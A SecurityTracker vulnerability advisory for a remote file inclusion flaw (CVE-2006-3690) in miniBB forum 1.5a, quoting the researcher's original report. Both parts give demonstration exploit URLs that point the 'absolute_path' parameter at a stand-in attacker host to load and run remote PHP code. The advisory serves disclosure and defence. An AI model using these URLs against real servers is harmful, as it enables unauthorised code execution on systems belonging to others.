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Category:   Application (Forum/Board/Portal)  >   miniBB Vendors:   miniBB.net
miniBB Include File Bug in 'absolute_path' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016507
SecurityTracker URL:  http://securitytracker.com/id/1016507
CVE Reference:   CVE-2006-3690   (Links to External Site)
Updated:  Jun 14 2008
Original Entry Date:  Jul 17 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.5a
Description:   A vulnerability was reported in miniBB. A remote user can include and execute arbitrary code on the target system.

The 'index.php' and 'com_minibb.php' scripts do not properly validate user-supplied input in the 'absolute_path' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

Some demonstration exploit URLs are provided:

http://[target]/[path]/components/com_minibb.php?absolute_path=http://[attacker]/evil.txt?
http://[target]/[path]/components/minibb/index.php?absolute_path=http://[attacker]/evil.txt?

Matdhule reported this vulnerability.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.minibb.net/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  MiniBB Forum <= 1.5a Remote File Include Vulnerabilities

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MiniBB Forum <= 1.5a Remote File Include Vulnerabilities 
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Author : Matdhule 

Contact : matdhule@gmail.com 

Application : MiniBB Forum (com_minibb.php & index.php) 

Version : 1.5a 

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Exploit : 

http://[target]/[path]/components/com_minibb.php?absolute_path=http://attacker.com/evil.txt? 
http://[target]/[path]/components/minibb/index.php?absolute_path=http://attacker.com/evil.txt? 

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